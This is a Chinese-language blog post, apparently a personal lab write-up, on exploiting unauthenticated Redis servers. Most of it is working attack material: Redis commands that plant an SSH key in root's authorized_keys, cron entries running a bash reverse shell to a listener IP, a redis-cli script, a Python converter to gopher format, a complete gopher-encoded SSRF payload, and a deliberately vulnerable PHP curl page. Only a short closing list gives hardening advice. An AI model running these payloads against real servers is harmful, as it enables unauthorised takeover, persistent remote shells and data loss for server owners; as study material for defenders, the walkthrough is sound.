redis未授权访问漏洞一些利用

简述

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。(有点不友好,可能直接会导致宕机)

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

未授权redis的一些运用

写个shell

这里我以Ubuntu 14版做的测试,往网站的根目录下写一个webshell就行,在redis上设置了目录以及文件名,写入内容

VIyLI1.png

添加上去是以运行的人权限添加的

VI6pse.png

当然也能执行

VI69qH.png

使用秘钥进行登录

现在本机生成一对秘钥

1
ssh-keygen -t rsa

VoJHGd.png

把公钥拿出来

VoY9iQ.png

在redis里面设置写操作

1
2
3
4
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm5rJyVESTrJT1DESSsXJbXrvBKTUPV5wqfmsmCKcWp2ysV/JVP4MUk+NKbVsg8wb4QuU0IueWd+vIi8jLiAEennl01idUujE75BxJ0exKqJ18jJfNemu//RLOmasXrZ9I/NJB5LtVcRDkN8MZevK2zzKxPJuZlH8plL4sLft1kXOHNWORylDQpAodF8qlI1LiKbR6ZRb/1m3Xy8XGzJ4wkdghSJDE1SPAwC5JJq1rVmAoIs6hujrlsy0LHSCAm+fViKPnRIi94NotCKdtyrQqv3VtvblGRfT/h+My4WUjfQLKjocomLDuUGOgBFp6DOAV8BGxX+7KAMm0Z9NAkpaF root@Chan\n\n\n"
save

VoYPRs.png

最后就可以成功连接ssh,完全不需要密码

VoYui4.png

redis设置定时任务

这个就是利用一个写的操作去实现定时任务,但是配这个环境贼坑。。上面的Ubuntu都不能实现。。我用的是centos

1
2
3
4
set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.70.147/2444 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

定时任务怎么设置,这个图很清楚了

crontab的语法格式

用的就这么几句话,配环境配一个下午

Vo83sf.png

这里注意反弹shell的语句要加上换行符,不然的话在root文件里面是执行不了的,因为以redis服务写入的前面会加上一些乱七八糟的东西,很可能就不能成功执行,害怕执行不了的话加多几个换行符吧。这也解释了我上图为何使用tac去读文件,简单的cat有时候还读不出来,xxd也可以读

然后另外一个机子开始监听,成功监听

Vo8WWR.png

这个环境有几个坑点要注意一下,第一设置定时任务用Ubuntu的系统是不行的,详情可以参考这篇文章:https://joychou.org/hostsec/linux-crontab-rebound-shell-hole.html,网上很多直接Ubuntu或者kali输入那个命令之后然后就说等个一分钟的那种博客,真是醉了,确实是有点不负责了。。。joychou大佬也总结了,为啥不行的原因

ubuntu利用写文件执行crontab不会成功。原因有两点:

  1. 如果写/etc/crontab,语法不识别
  2. 如果写/var/spool/cron/crontabs/root,权限不是600,而且语法也不识别

第二curl的版本是否支持gopher,因为我这里安装的centos默认版本的curl不支持gopher协议,php的curl底层调用的是系统的curl,就会出现一些问题,因此我把它给升级了。

JoyChou大佬的博客的还有一些利用,使用gopher 协议 ,一般是关联上ssrf漏洞的使用的

场景: web ssrf–>gopher–>redis 没密码 –> 运用cron –>反弹shell

什么是gopher协议?

gopher是一个互联网上使用的分布型的文件搜集获取网络协议

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中–个最强大的协议(俗称万能协议)。

使用gopher请求,首先你得抓出流量才行,利用socat做一个端口转发,注意这里的流量,是为了我们能够使用gopher而利用在本地测试抓的

本地利用一个shell脚本和socat做一个流量抓取

1
2
3
4
5
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

先做一个端口转发

1
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

再运行上面那个shell脚本,意思是将本地的4444端口转发到本地的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。

1
./redis.sh 127.0.0.1 4444

监听的这边会抓到流量,保存下来即可,保存在socat.log

VTI8EV.png

然后对流量进行转换一下,附上joychou大佬的转换脚本

VThwut.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

转换规则如下:

  • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • \r字符串替换成%0d%0a
  • 空白行替换为%0a
1
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.70.134/2444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

还有一个点要注意的是在JoyChou这位老哥的博客里面还提及一点就是字符长度的问题,他的博文是以127.0.0.1作为例子的,所以会出现下面的情况,如果不想要这么麻烦最好直接在shell脚本上改一下就好

VThFBV.png

最后在你的流量前面加上需要的gopher协议gopher://127.0.0.1:6379/_构成最后的payload,构造一段php代码尝试一下,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>

<html><body>

<form name="px" method="post" action="./ssrf1.php">


<input type="text" name="url" value="">


<input type="submit" name="commit" value="submit">

可能符号太多需要URL编码一下,返回五个OK

VT4hzd.png

定时任务成功写入,成功反弹shell

VT5PoT.png

VT5SLq.png

修复的依一些建议

1、禁止一些高危命令

2、以低权限运行 Redis 服务

3、为 Redis 添加密码验证

4、禁止外网访问 Redis

5、保证 authorized_keys 文件的安全

6、设置防火墙策略


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 简述
  2. 2. 未授权redis的一些运用
    1. 2.1. 写个shell
    2. 2.2. 使用秘钥进行登录
    3. 2.3. redis设置定时任务
      1. 2.3.1. 什么是gopher协议?
  3. 3. 修复的依一些建议